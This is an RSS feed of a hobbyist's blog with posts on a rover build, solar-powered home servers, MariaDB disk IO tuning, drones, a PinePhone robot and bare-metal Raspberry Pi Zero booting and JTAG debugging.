<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Posts | Blue Duck Valley Rd</title>
    <link>https://juju.nz/michaelh/post/</link>
      <atom:link href="https://juju.nz/michaelh/post/index.xml" rel="self" type="application/rss+xml" />
    <description>Posts</description>
    <generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>en-us</language><copyright>© 2017 Michael Hope</copyright>
    <image>
      <url>img/map[gravatar:%!s(bool=false) shape:circle]</url>
      <title>Posts</title>
      <link>https://juju.nz/michaelh/post/</link>
    </image>
    
    <item>
      <title>Ausdauer: mechanical assembly</title>
      <link>https://juju.nz/michaelh/post/2021/ausdauer_assembled2/</link>
      <pubDate>Tue, 05 Jan 2021 20:50:15 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2021/ausdauer_assembled2/</guid>
      <description>&lt;p&gt;And that&amp;rsquo;s the end of the mechanical assembly. The differential went on fine, and the epoxy is strong enough to hold in the insets. There&amp;rsquo;s one last thing - I missed the insets on the end of the differential arm, so those are glued and curing&lt;/p&gt;
&lt;p&gt;Next is the electrical assembly. That&amp;rsquo;ll take a while as each cable will need to be cut and extended.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ausdauer: assembled</title>
      <link>https://juju.nz/michaelh/post/2021/ausdauer_assembled/</link>
      <pubDate>Sat, 02 Jan 2021 17:17:27 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2021/ausdauer_assembled/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!&lt;/p&gt;
&lt;p&gt;The remaining steps are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Epoxy the steering wheel and differential inserts in. I didn&amp;rsquo;t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.&lt;/li&gt;
&lt;li&gt;Cut the grooves on the left hand side shafts.&lt;/li&gt;
&lt;li&gt;Print the differential.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Ausdauer: left rocker/bogie assembly</title>
      <link>https://juju.nz/michaelh/post/2020/ausdauer_left/</link>
      <pubDate>Sun, 27 Dec 2020 18:35:54 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/ausdauer_left/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m working on a build of the 
&lt;a href=&#34;https://github.com/Roger-random/Sawppy_Rover&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Sawppy rover&lt;/a&gt;. Today was a major milestone, as I finished assembling the left hand rocker/bogie assembly. This covers all of the major parts and techniques needed to build the rover, so the remaining work is to crank the handle and get the right side and box done.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s more information at the 
&lt;a href=&#34;https://juju.nz/michaelh/project/ausdauer/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;build log&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>VE.Direct</title>
      <link>https://juju.nz/michaelh/post/2020/vedirect/</link>
      <pubDate>Tue, 01 Dec 2020 19:44:20 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/vedirect/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve released 
&lt;a href=&#34;https://github.com/nzmichaelh/vedirect/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;vedirect&lt;/a&gt;, a
tool parses the Victron VE.Direct TEXT protocol and exports the
metrics over Prometheus and MQTT. This can be used to monitor your
solar installation and view statistics in tools like Grafana or Home
Assistant.&lt;/p&gt;
&lt;p&gt;See the

&lt;a href=&#34;https://github.com/nzmichaelh/vedirect/blob/master/README.md&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;README&lt;/a&gt;
for more. I&amp;rsquo;m using this to monitor the solar system used to power my
home server.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>nppilot</title>
      <link>https://juju.nz/michaelh/post/2020/nppilot/</link>
      <pubDate>Fri, 27 Nov 2020 17:23:01 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/nppilot/</guid>
      <description>&lt;p&gt;I realized I haven&amp;rsquo;t posted about the current generation of &lt;code&gt;nppilot&lt;/code&gt;,
my never complete, often restarted rover project.&lt;/p&gt;
&lt;p&gt;The current version is a modified Traxxas E-Revo 1/16:&lt;/p&gt;
&lt;p&gt;Under the hood this is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Revo controller running ROSflight for control and sensors.&lt;/li&gt;
&lt;li&gt;A Raspberry Pi 3 running ROS for command and telemetry.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The frame is laser cut MDF with 3D printed mounts and
risers.&lt;/p&gt;
&lt;p&gt;It works well, but winter came before I made much progress on the
control. The goal is for the Pi to do the planning using the GPS and a
map of the local area, and to see how fast it can complete the course.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Reducing disk IO</title>
      <link>https://juju.nz/michaelh/post/2020/diskio/</link>
      <pubDate>Thu, 26 Nov 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/diskio/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m using a Raspberry Pi 4 with a USB3 based SSD to host this website
and other services, and as a side effect the lounge looks like a disco
due to all the flashing activity LEDs.&lt;/p&gt;
&lt;p&gt;The machine should be fairly idle so I went looking for where the disk
activity was coming from.&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;iotop -a&lt;/code&gt; and looking at the writes shows that mysql (aka
MariaDB) is by far the heaviest writer.&lt;/p&gt;
&lt;p&gt;Looking at the metrics recorded by the Prometheus

&lt;a href=&#34;https://github.com/prometheus/mysqld_exporter&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;mysqld_exporter&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;delta(mysql_global_status_commands_total[1h])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;gives:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;mysql.png&#34; alt=&#34;MariaDB commands per hour&#34;&gt;&lt;/p&gt;
&lt;p&gt;which is dominated by inserts.&lt;/p&gt;
&lt;p&gt;Dropping to the mysql command line and running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT table_name, table_rows from
INFORMATION_SCHEMA.TABLES ORDER BY table_rows DESC LIMIT 20;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;gives:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;table_name&lt;/th&gt;
&lt;th&gt;table_rows&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;events&lt;/td&gt;
&lt;td&gt;1731748&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;states&lt;/td&gt;
&lt;td&gt;1577498&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;oc_filecache&lt;/td&gt;
&lt;td&gt;26239&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;notice&lt;/td&gt;
&lt;td&gt;23483&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;code&gt;events&lt;/code&gt; and &lt;code&gt;states&lt;/code&gt; tables are part of my

&lt;a href=&#34;https://www.home-assistant.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;HomeAssistant&lt;/a&gt; installation. Reading
the docs shows that the &lt;code&gt;recorder&lt;/code&gt; commits every second and changing this
to 5m using:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;recorder:
  db_url: mysql+pymysql://hass:....@db/hass?charset=utf8
  commit_interval: 300
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fixes the problem. This reduces the write rate from 680 KiB/s to
~95 KiB/s:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;writes.png&#34; alt=&#34;Bytes written per 10 minutes&#34;&gt;&lt;/p&gt;
&lt;p&gt;and cuts the I/O seconds per second:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;iosecs.png&#34; alt=&#34;I/O seconds per second&#34;&gt;&lt;/p&gt;
&lt;p&gt;and makes the lounge much less blinky, yay!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Solar at home</title>
      <link>https://juju.nz/michaelh/post/2020/solarch/</link>
      <pubDate>Thu, 19 Nov 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/solarch/</guid>
      <description>&lt;p&gt;For the last month or so I&amp;rsquo;ve been working on making my home server
(which also hosts this blog!) solar powered. It&amp;rsquo;s pointless but
entertaining, and this is a first of a series of posts about what I
learned on the way.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;mounted.jpg&#34; alt=&#34;Solar panel mounted on the frame&#34;&gt;&lt;/p&gt;
&lt;p&gt;The summary is that a 55 W panel with 200 Wh of battery is enough to
power a Raspberry Pi 4 with SSD during the European winter. You still
need a mains power fallback, as a couple of days of grey weather will
deplete the battery.&lt;/p&gt;
&lt;p&gt;The last 7d have been fairly sunny:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;totals.png&#34; alt=&#34;Total power generation in Wh per day&#34;&gt;&lt;/p&gt;
&lt;p&gt;This graph shows the power generated over a 16h window, so the peaks
are the total generation for that day. Total for the week was 741 Wh
or $0.15.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Vouch for authentication</title>
      <link>https://juju.nz/michaelh/post/2020/vouch/</link>
      <pubDate>Fri, 09 Oct 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/vouch/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve started using 
&lt;a href=&#34;https://github.com/vouch/vouch-proxy&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Vouch&lt;/a&gt; for
SSO to my personal site. Quite happy with the experience - it
integrates well with Nginx, was straight forward to setup, and is
straight forward to enable for different paths on the site.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Propeller adapter</title>
      <link>https://juju.nz/michaelh/post/2020/adapter/</link>
      <pubDate>Fri, 04 Sep 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/adapter/</guid>
      <description>&lt;p&gt;A nice thing about having a 3D printer is quick fixes to small
things.  The 8x4 propeller that came with my 
&lt;a href=&#34;https://hobbyking.com/en_us/h-king-bixler-3-glider-1550-pnf.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Bixler 3&lt;/a&gt; was
loose on the motor shaft, so I 3D printed an adapter:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./adapter.png&#34; alt=&#34;Propeller adapter&#34;&gt;&lt;/p&gt;
&lt;p&gt;It took 5 minutes to print and three tries to get the tolerances
right, but the propeller is now a good fit, much quieter, and seems
more powerful. Yay!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bixler 3 Drone</title>
      <link>https://juju.nz/michaelh/post/2020/autobix/</link>
      <pubDate>Sat, 29 Aug 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/autobix/</guid>
      <description>&lt;p&gt;I recently purchased a HobbyKing 
&lt;a href=&#34;https://hobbyking.com/en_us/h-king-bixler-3-glider-1550-pnf.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Bixler 3&lt;/a&gt; to use as a autopilot
platform and am pretty happy with how it turned out.  Both the under
wing area and nose area have plenty of room and could easily fit a

&lt;a href=&#34;https://shop.holybro.com/pixhawk4-mini_p1120.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Pixhawk 4 Mini&lt;/a&gt; with GPS and telemetry.&lt;/p&gt;
&lt;p&gt;I prefer the Pixhawk 4 Mini over the older 
&lt;a href=&#34;https://docs.px4.io/v1.9.0/en/flight_controller/pixfalcon.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Pixfalcon&lt;/a&gt; for
a few reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the servo connectors are built-in to the module&lt;/li&gt;
&lt;li&gt;the safety switch is built-in to the GPS&lt;/li&gt;
&lt;li&gt;two of the four sides are connector free, making it easier to route&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I ended up putting the power distribution board in the under wing area
and 3D printing a hatch to hold everything else:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./ap.png&#34; alt=&#34;Hatch&#34;&gt;&lt;/p&gt;
&lt;p&gt;The hatch is held on by the front tongue and 2x magnets.  The
autopilot, telemetry, and RX are on the bottom of the hatch and the
GPS on top:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./20200824_171653.jpg&#34; alt=&#34;Cropped to autopliot&#34;&gt;&lt;/p&gt;
&lt;p&gt;The plane flew just fine in stabilised and hold mode with the default
PX4 aircraft turnings.  I was a bit surprised by how PX4 handles a
strong headwind - if the plane can&amp;rsquo;t make progress in hold mode at the
cruise throttle then it gives up and switches back to stabilised
mode.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;./20200824_171641.jpg&#34; alt=&#34;Overall&#34;&gt;&lt;/p&gt;
&lt;p&gt;Once the weather clears up I hope to do some waypoint tests.  I&amp;rsquo;d also
like to find a quieter propeller.  The stock is fine, but it&amp;rsquo;s
slightly unbalanced and could be much quieter.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Pan/tilt mount for a cell phone</title>
      <link>https://juju.nz/michaelh/post/2020/pudel/</link>
      <pubDate>Sat, 23 May 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/pudel/</guid>
      <description>&lt;p&gt;I think it&amp;rsquo;s important to also post about the projects that didn&amp;rsquo;t
turn out.  Pudel was a project to automatically track and video a
model plane using a cell phone camera.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;mount.jpg&#34; alt=&#34;mount&#34;&gt;&lt;/p&gt;
&lt;p&gt;The pan and tilt components were modeled in

&lt;a href=&#34;https://openscad.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OpenSCAD&lt;/a&gt; and 3D printed. The pan unit had a
standard 
&lt;a href=&#34;https://www.matrix-vision.com/manuals/mvBlueFOX/mvBF_page_tech.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1/4-20 tripod mount&lt;/a&gt; and the tilt unit had a Samsung
A40 mount that I&amp;rsquo;ve used on a few other projects.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;closeup.jpg&#34; alt=&#34;close&#34;&gt;&lt;/p&gt;
&lt;p&gt;Both were driven by standard 
&lt;a href=&#34;https://hitecrcd.com/products/servos/sport-servos/analog-sport-servos/hs-422/product&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;HS-422&lt;/a&gt; servos with a 
&lt;a href=&#34;https://www.adafruit.com/product/3500&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Trinket M0&lt;/a&gt;
for I/O and a 2S LiPo through a 
&lt;a href=&#34;https://hobbyking.com/en_us/turnigy-3a-ubec-w-noise-reduction.html?___store=en_us&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;6V BEC&lt;/a&gt; for power.&lt;/p&gt;
&lt;p&gt;The I/O board ran 
&lt;a href=&#34;https://circuitpython.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CircuitPython&lt;/a&gt; with custom firmware that takes
MIDI-like messages as servo commands.  It implemented an
acceleration limiter and velocity limiter to limit the

&lt;a href=&#34;https://en.wikipedia.org/wiki/Jerk_%28physics%29&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;jerk&lt;/a&gt;, as the servos are capable of 60 deg/0.2 s which is much
faster than the plane would move.&lt;/p&gt;
&lt;p&gt;The host side was going to be similar to Kieferbot and use ROS with an
IO specific node, OpenCV based detection, and a PID controller to keep
the plane centered in the frame.&lt;/p&gt;
&lt;p&gt;So why did it fail?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The servos aren&amp;rsquo;t intended for precise, slow movement and hence had
mild jerk.&lt;/li&gt;
&lt;li&gt;There was too much slack in the mechanics, and the phone was mildly
heavy, so mild jerk caused the phone to move about too much.&lt;/li&gt;
&lt;li&gt;The plane is too small to resolve on a wide angle lens, so tracking
was unlikely to work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If I wanted to take it further, I can imagine some improvements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Take the load off the pan servo.  The tilt unit sits directly on top
of the pan servo shaft and there&amp;rsquo;s not much material to sit on which
increased the shake.  Perhaps add a turntable style plates that most
of the downwards force could go through.&lt;/li&gt;
&lt;li&gt;Decrease the arm length out to the phone.  It&amp;rsquo;s 30 mm and reducing
to 20 mm would reduce the load on the tilt servo.&lt;/li&gt;
&lt;li&gt;Try a phone with optical stabilization.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Tracking using a camera</title>
      <link>https://juju.nz/michaelh/post/2020/tracking/</link>
      <pubDate>Sun, 19 Apr 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/tracking/</guid>
      <description>&lt;p&gt;Here&amp;rsquo;s Kieferbot being tracked through a camera:&lt;/p&gt;
&lt;p&gt;&lt;video controls src=&#34;tracking.mp4&#34;&gt;&lt;/video&gt;&lt;/p&gt;
&lt;p&gt;It took a few iterations but I settled on matching the colour of the
floor to create a floor mask, then 
&lt;a href=&#34;https://docs.opencv.org/trunk/d4/d73/tutorial_py_contours_begin.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;findCountours&lt;/a&gt; to find the
contours as a tree, and then searching the children of the root
contours.  As the bot is black, the children were matched against a
&amp;lsquo;black pixels&amp;rsquo; mask, and the contour with the most black pixels
picked.&lt;/p&gt;
&lt;p&gt;The camera is an Android phone running 
&lt;a href=&#34;https://play.google.com/store/apps/details?id=com.pas.webcam&amp;amp;hl=en&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;IP Webcam&lt;/a&gt; and sharing
the back camera as MJPEG over HTTP over Wifi at 10 FPS.  It could be
higher, but the laptop doing the image processing has trouble keeping
up with 30 FPS.  The latency looks good - visually less than 200 ms.&lt;/p&gt;
&lt;p&gt;The tracking seems reliable.  If the bot goes off the bottom of the
frame then other black areas are picked, but this can be detected by
checking for a jump in position.&lt;/p&gt;
&lt;p&gt;Next step is to integrate the camera position, phone sensors, and
wheel velocity to get a controllable position.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Self-contained and smoke</title>
      <link>https://juju.nz/michaelh/post/2020/kiefer_pine/</link>
      <pubDate>Sat, 11 Apr 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/kiefer_pine/</guid>
      <description>&lt;p&gt;A day of highs and lows.  Here&amp;rsquo;s Kieferbot still in 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Teleoperation&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;teleop&lt;/a&gt;
mode but now self contained:&lt;/p&gt;
&lt;p&gt;&lt;video controls src=&#34;self.m4v&#34;&gt;&lt;/video&gt;&lt;/p&gt;
&lt;p&gt;The 
&lt;a href=&#34;https://wiki.pine64.org/index.php/PinePhone&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PinePhone&lt;/a&gt; is taking commands from a PS4 DualShock
over Bluetooth using &lt;code&gt;ds4drv&lt;/code&gt; and sending them to the IO board over
serial.  I experimented with a few transports:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;UDP over Wifi was fine, but the default ESP32 Wifi power mode added
random latency of up to 100 ms.  Switching to &amp;lsquo;always on&amp;rsquo; mode by
modifying MicroPython fixed this.&lt;/li&gt;
&lt;li&gt;Bluetooth Low Energy worked for one-way communication to the IO
board, but there was lots of packet loss when using Bluetooth for
both the joystick and IO.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Inspired by 
&lt;a href=&#34;https://github.com/firmata/protocol&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Firmata&lt;/a&gt;, I settled on MIDI over serial.  I
quite like the MIDI format for short messages.  A frame starts with
the command followed by a command specific payload.  The command has
the MSB set so it&amp;rsquo;s simple to frame.&lt;/p&gt;
&lt;p&gt;I also compiled 
&lt;a href=&#34;http://wiki.ros.org/kinetic&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ROS Kinetic&lt;/a&gt; for Debian Buster and created an IO node
that takes left and right velocity commands.  There seems to be an
ordering issue with either the ESP32 PWM chip or the FIT0441
controller, where going from forward to reverse and vice-versa is
fine but the motor won&amp;rsquo;t start sometimes when going from zero.&lt;/p&gt;
&lt;p&gt;So plenty of highs, but the low was 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Magic_smoke&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;releasing the smoke&lt;/a&gt; - I&amp;rsquo;m
using a LiPo battery for the supply and something short-circuited when
unplugging the battery.  It seems to have taken out the regulator and
the ESP32 flash.&lt;/p&gt;
&lt;p&gt;Next step is to re-make the IO board using an 
&lt;a href=&#34;https://www.adafruit.com/product/3800&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ItsyBitsy M4&lt;/a&gt;.  It
also runs MicroPython so the IO software was easy to port.  I&amp;rsquo;ve
ordered some Seeed 
&lt;a href=&#34;https://www.seeedstudio.com/Seeeduino-XIAO-Arduino-Microcontroller-SAMD21-Cortex-M0&amp;#43;-p-4426.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;XIAO&lt;/a&gt; boards - $5 gives you a MicroPython
compatible SAMD21 with 9 pins of IO which is enough for this project.&lt;/p&gt;
&lt;p&gt;This time I&amp;rsquo;ll secure the battery socket better and 3D print a
shield.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Teleop</title>
      <link>https://juju.nz/michaelh/post/2020/kiefer_telop/</link>
      <pubDate>Sun, 22 Mar 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/kiefer_telop/</guid>
      <description>&lt;p&gt;As a winter project, I&amp;rsquo;m turning my

&lt;a href=&#34;https://wiki.pine64.org/index.php/PinePhone&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PinePhone&lt;/a&gt; into an
indoor robot. The Pinephone has everything needed for a decent
stand-alone robot: plenty of CPU, a camera,
gyro/accelerometor/compass, display, and it can run Debian.&lt;/p&gt;
&lt;p&gt;Below is a video of the hardware in 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Teleoperation&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;teleop&lt;/a&gt; mode.  A

&lt;a href=&#34;https://wiki.wemos.cc/products:lolin32:lolin32&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Lolin32&lt;/a&gt;

&lt;a href=&#34;https://www.espressif.com/en/products/hardware/esp32/overview&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP32&lt;/a&gt;
running 
&lt;a href=&#34;https://micropython&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MicroPython&lt;/a&gt; takes commands over
Bluetooth LE and sends PWM and direction signals to the

&lt;a href=&#34;https://wiki.dfrobot.com/FIT0441_Brushless_DC_Motor_with_Encoder_12V_159RPM&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;FIT0441&lt;/a&gt;
motors.  The frame is 3D printed.&lt;/p&gt;
&lt;p&gt;&lt;video controls src=&#34;teleop.m4v&#34;&gt;&lt;/video&gt;&lt;/p&gt;
&lt;p&gt;Currently the phone is just a passenger.  The next step is to get the
phone to communicate with the IO board.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bare metal Raspberry Pi Zero</title>
      <link>https://juju.nz/michaelh/post/2020/rawpizero/</link>
      <pubDate>Sun, 09 Feb 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/rawpizero/</guid>
      <description>&lt;p&gt;These are short notes on loading baremetal software on the Raspberry
Pi Zero.  I started down this path due to wanting to learn Rust, which
lead to 
&lt;a href=&#34;https://www.tockos.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Tock&lt;/a&gt; which is an embedded operating
system in Rust.  Rather than buy yet another piece of hardware I
though I&amp;rsquo;d use one of my 5 (!) Raspberry Pi Zeros as a development
board instead.  It&amp;rsquo;s just another microcontroller, just one that runs
at 1 GHz and has a ton of RAM&amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;console&#34;&gt;Console&lt;/h1&gt;
&lt;p&gt;See &lt;a href=&#34;https://pinout.xyz/pinout/uart&#34;&gt;https://pinout.xyz/pinout/uart&lt;/a&gt; for the UART pins.  Note that on
Linux you need to add &lt;code&gt;enable_uart=1&lt;/code&gt; to &lt;code&gt;boot/config.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Connect to a USB &amp;ndash;&amp;gt; Serial adapter and launch a console at 11500
baud.&lt;/p&gt;
&lt;h1 id=&#34;examples&#34;&gt;Examples&lt;/h1&gt;
&lt;p&gt;See 
&lt;a href=&#34;https://github.com/dwelch67/raspberrypi&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;dwelch&lt;/a&gt;&amp;rsquo;s bare metal examples.  Note that every Pi model
has different things on different pins so use the examples from
&lt;code&gt;boards/pizero&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id=&#34;loading&#34;&gt;Loading&lt;/h1&gt;
&lt;p&gt;The Pi Zero can boot over USB from a host machine without needing a SD
card.  This greatly reduces the build/debug cycle.  To do this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fetch &lt;code&gt;bootcode.bin&lt;/code&gt; and &lt;code&gt;start.elf&lt;/code&gt; from the 
&lt;a href=&#34;https://github.com/raspberrypi/firmware/tree/master/boot&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;firmware&lt;/a&gt;
repo.&lt;/li&gt;
&lt;li&gt;Fetch the 
&lt;a href=&#34;https://github.com/raspberrypi/usbboot&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;usbboot&lt;/a&gt; repo and build.&lt;/li&gt;
&lt;li&gt;Copy the &lt;code&gt;.bin&lt;/code&gt; file to &lt;code&gt;kernel.img&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;sudo rpiboot -d .&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Unplug / plug the board&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A fully worked example is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ git clone --depth 1 https://github.com/raspberrypi/firmware
Cloning into &#39;firmware&#39;...
$ mkdir boot
$ cp firmware/boot/bootcode.bin firmware/boot/start.elf boot/

$ git clone https://github.com/raspberrypi/usbboot.git
Cloning into &#39;usbboot&#39;...
$ make -C usbboot/

$ git clone https://github.com/dwelch67/raspberrypi.git
$ make -C raspberrypi/boards/pizero/uart02/
$ cp raspberrypi/boards/pizero/uart02/uart02.bin boot/kernel.img

$ sudo ./usbboot/rpiboot -d boot
Waiting for BCM2835/6/7/2711...
Sending bootcode.bin
Successful read 4 bytes
Waiting for BCM2835/6/7/2711...
Second stage boot server
File read: start.elf
File read: kernel.img
Second stage boot server done
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id=&#34;jtag&#34;&gt;JTAG&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Add &lt;code&gt;enable_jtag_gpio=1&lt;/code&gt; to &lt;code&gt;boot/config.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Wire up using
&lt;a href=&#34;https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857&#34;&gt;https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;raspberry.cfg&lt;/code&gt; from
&lt;a href=&#34;https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/&#34;&gt;https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Run openocd using &lt;code&gt;openocd -f interface/jlink.cfg -f ./raspberry.cfg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run gdb-multiarch against the corresponding ELF file&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;giving:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ sudo openocd -f interface/jlink.cfg -f ./raspberry.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.org/doc/doxygen/bugs.html
adapter speed: 100 kHz
adapter_nsrst_delay: 400
none separate
Info : auto-selecting first available session transport &amp;quot;jtag&amp;quot;. To override use &#39;transport select &amp;lt;transport&amp;gt;&#39;.
Info : No device selected, using first device.
Info : J-Link ARM V8 compiled Nov 28 2014 13:44:46
Info : Hardware version: 8.00
Info : VTarget = 3.287 V
Info : clock speed 100 kHz
Info : JTAG tap: rspi.arm tap/device found: 0x07b7617f (mfg: 0x0bf (Broadcom), part: 0x7b76, ver: 0x0)
Info : found ARM1176
Info : rspi.arm: hardware has 6 breakpoints, 2 watchpoints
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the ARM CPU needs to be running some code for the JTAG to connect.&lt;/p&gt;
</description>
    </item>
    
    <item>
